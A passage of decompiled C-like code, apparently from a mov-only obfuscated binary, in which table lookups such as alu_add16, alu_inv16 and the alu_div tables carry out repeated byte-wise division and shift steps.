int v356 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v354 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v354 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v353 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v356;
*(int*)0x81FCFEE = v356;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 1) = *(char*)((unsigned int)*((char*)&alu_sq + 1) + &alu_b_s_2);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 1) * 4 + (int)&alu_b1);
unsigned int v357 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v357;
*(char*)&alu_c = (unsigned char)(v357 >>> 8);
unsigned int v358 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v358;
*(char*)&alu_c = (unsigned char)(v358 >>> 8);
unsigned int v359 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v359;
*(char*)&alu_c = (unsigned char)(v359 >>> 8);
unsigned int v360 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v360;
*(char*)&alu_c = (unsigned char)(v360 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v361 = (unsigned int)*(short*)&alu_x;
unsigned int v362 = alu_c;
int v363 = *(int*)(v362 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v361 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v363;
*(int*)0x81FCFEE = v363;
int v364 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v362 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v362 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v361 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v364;
*(int*)0x81FCFEE = v364;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v365 = alu_t;
alu_psel_r = *(unsigned int*)(v365 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v365 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v366 = (unsigned int)*(short*)&alu_x;
unsigned int v367 = alu_c;
int v368 = *(int*)(v367 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v366 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v368;
*(int*)0x81FCFEE = v368;
int v369 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v367 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v367 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v366 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v369;
*(int*)0x81FCFEE = v369;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 1) = *(char*)((unsigned int)*((char*)&alu_sq + 1) + &alu_b_s_1);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 1) * 4 + (int)&alu_b0);
unsigned int v370 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v370;
*(char*)&alu_c = (unsigned char)(v370 >>> 8);
unsigned int v371 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v371;
*(char*)&alu_c = (unsigned char)(v371 >>> 8);
unsigned int v372 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v372;
*(char*)&alu_c = (unsigned char)(v372 >>> 8);
unsigned int v373 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v373;
*(char*)&alu_c = (unsigned char)(v373 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v374 = (unsigned int)*(short*)&alu_x;
unsigned int v375 = alu_c;
int v376 = *(int*)(v375 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v374 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v376;
*(int*)0x81FCFEE = v376;
int v377 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v375 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v375 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v374 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v377;
*(int*)0x81FCFEE = v377;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v378 = alu_t;
alu_psel_r = *(unsigned int*)(v378 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v378 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v379 = (unsigned int)*(short*)&alu_x;
unsigned int v380 = alu_c;
int v381 = *(int*)(v380 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v379 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v381;
*(int*)0x81FCFEE = v381;
int v382 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v380 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v380 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v379 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v382;
*(int*)0x81FCFEE = v382;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 1) = *(unsigned char*)((unsigned int)*((char*)&alu_sq + 1) + (int)&alu_b_s_0);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*(char*)&alu_n * 4 + (int)&alu_b7);
unsigned int v383 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v383;
*(char*)&alu_c = (unsigned char)(v383 >>> 8);
unsigned int v384 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v384;
*(char*)&alu_c = (unsigned char)(v384 >>> 8);
unsigned int v385 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v385;
*(char*)&alu_c = (unsigned char)(v385 >>> 8);
unsigned int v386 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v386;
*(char*)&alu_c = (unsigned char)(v386 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v387 = (unsigned int)*(short*)&alu_x;
unsigned int v388 = alu_c;
int v389 = *(int*)(v388 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v387 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v389;
*(int*)0x81FCFEE = v389;
int v390 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v388 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v388 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v387 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v390;
*(int*)0x81FCFEE = v390;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v391 = alu_t;
alu_psel_r = *(unsigned int*)(v391 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v391 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v392 = (unsigned int)*(short*)&alu_x;
unsigned int v393 = alu_c;
int v394 = *(int*)(v393 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v392 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v394;
*(int*)0x81FCFEE = v394;
int v395 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v393 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v393 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v392 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v395;
*(int*)0x81FCFEE = v395;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*(char*)&alu_sq = *(unsigned char*)((unsigned int)*(char*)&alu_sq + (int)&alu_b_s_7);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*(char*)&alu_n * 4 + (int)&alu_b6);
unsigned int v396 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v396;
*(char*)&alu_c = (unsigned char)(v396 >>> 8);
unsigned int v397 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v397;
*(char*)&alu_c = (unsigned char)(v397 >>> 8);
unsigned int v398 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v398;
*(char*)&alu_c = (unsigned char)(v398 >>> 8);
unsigned int v399 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v399;
*(char*)&alu_c = (unsigned char)(v399 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v400 = (unsigned int)*(short*)&alu_x;
unsigned int v401 = alu_c;
int v402 = *(int*)(v401 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v400 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v402;
*(int*)0x81FCFEE = v402;
int v403 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v401 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v401 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v400 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v403;
*(int*)0x81FCFEE = v403;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v404 = alu_t;
alu_psel_r = *(unsigned int*)(v404 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v404 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v405 = (unsigned int)*(short*)&alu_x;
unsigned int v406 = alu_c;
int v407 = *(int*)(v406 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v405 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v407;
*(int*)0x81FCFEE = v407;
int v408 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v406 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v406 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v405 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v408;
*(int*)0x81FCFEE = v408;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*(char*)&alu_sq = *(char*)((unsigned int)*(char*)&alu_sq + &alu_b_s_6);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*(char*)&alu_n * 4 + (int)&alu_b5);
unsigned int v409 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v409;
*(char*)&alu_c = (unsigned char)(v409 >>> 8);
unsigned int v410 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v410;
*(char*)&alu_c = (unsigned char)(v410 >>> 8);
unsigned int v411 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v411;
*(char*)&alu_c = (unsigned char)(v411 >>> 8);
unsigned int v412 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v412;
*(char*)&alu_c = (unsigned char)(v412 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v413 = (unsigned int)*(short*)&alu_x;
unsigned int v414 = alu_c;
int v415 = *(int*)(v414 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v413 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v415;
*(int*)0x81FCFEE = v415;
int v416 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v414 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v414 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v413 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v416;
*(int*)0x81FCFEE = v416;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v417 = alu_t;
alu_psel_r = *(unsigned int*)(v417 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v417 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v418 = (unsigned int)*(short*)&alu_x;
unsigned int v419 = alu_c;
int v420 = *(int*)(v419 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v418 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v420;
*(int*)0x81FCFEE = v420;
int v421 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v419 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v419 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v418 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v421;
*(int*)0x81FCFEE = v421;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*(char*)&alu_sq = *(char*)((unsigned int)*(char*)&alu_sq + &alu_b_s_5);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*(char*)&alu_n * 4 + (int)&alu_b4);
unsigned int v422 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v422;
*(char*)&alu_c = (unsigned char)(v422 >>> 8);
unsigned int v423 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v423;
*(char*)&alu_c = (unsigned char)(v423 >>> 8);
unsigned int v424 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v424;
*(char*)&alu_c = (unsigned char)(v424 >>> 8);
unsigned int v425 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v425;
*(char*)&alu_c = (unsigned char)(v425 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v426 = (unsigned int)*(short*)&alu_x;
unsigned int v427 = alu_c;
int v428 = *(int*)(v427 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v426 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v428;
*(int*)0x81FCFEE = v428;
int v429 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v427 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v427 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v426 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v429;
*(int*)0x81FCFEE = v429;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v430 = alu_t;
alu_psel_r = *(unsigned int*)(v430 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v430 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v431 = (unsigned int)*(short*)&alu_x;
unsigned int v432 = alu_c;
int v433 = *(int*)(v432 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v431 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v433;
*(int*)0x81FCFEE = v433;
int v434 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v432 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v432 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v431 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v434;
*(int*)0x81FCFEE = v434;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*(char*)&alu_sq = *(char*)((unsigned int)*(char*)&alu_sq + &alu_b_s_4);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*(char*)&alu_n * 4 + (int)&alu_b3);
unsigned int v435 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v435;
*(char*)&alu_c = (unsigned char)(v435 >>> 8);
unsigned int v436 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v436;
*(char*)&alu_c = (unsigned char)(v436 >>> 8);
unsigned int v437 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v437;
*(char*)&alu_c = (unsigned char)(v437 >>> 8);
unsigned int v438 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v438;
*(char*)&alu_c = (unsigned char)(v438 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v439 = (unsigned int)*(short*)&alu_x;
unsigned int v440 = alu_c;
int v441 = *(int*)(v440 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v439 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v441;
*(int*)0x81FCFEE = v441;
int v442 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v440 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v440 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v439 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v442;
*(int*)0x81FCFEE = v442;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v443 = alu_t;
alu_psel_r = *(unsigned int*)(v443 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v443 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v444 = (unsigned int)*(short*)&alu_x;
unsigned int v445 = alu_c;
int v446 = *(int*)(v445 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v444 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v446;
*(int*)0x81FCFEE = v446;
int v447 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v445 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v445 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v444 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v447;
*(int*)0x81FCFEE = v447;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*(char*)&alu_sq = *(char*)((unsigned int)*(char*)&alu_sq + &alu_b_s_3);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*(char*)&alu_n * 4 + (int)&alu_b2);
unsigned int v448 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v448;
*(char*)&alu_c = (unsigned char)(v448 >>> 8);
unsigned int v449 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v449;
*(char*)&alu_c = (unsigned char)(v449 >>> 8);
unsigned int v450 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
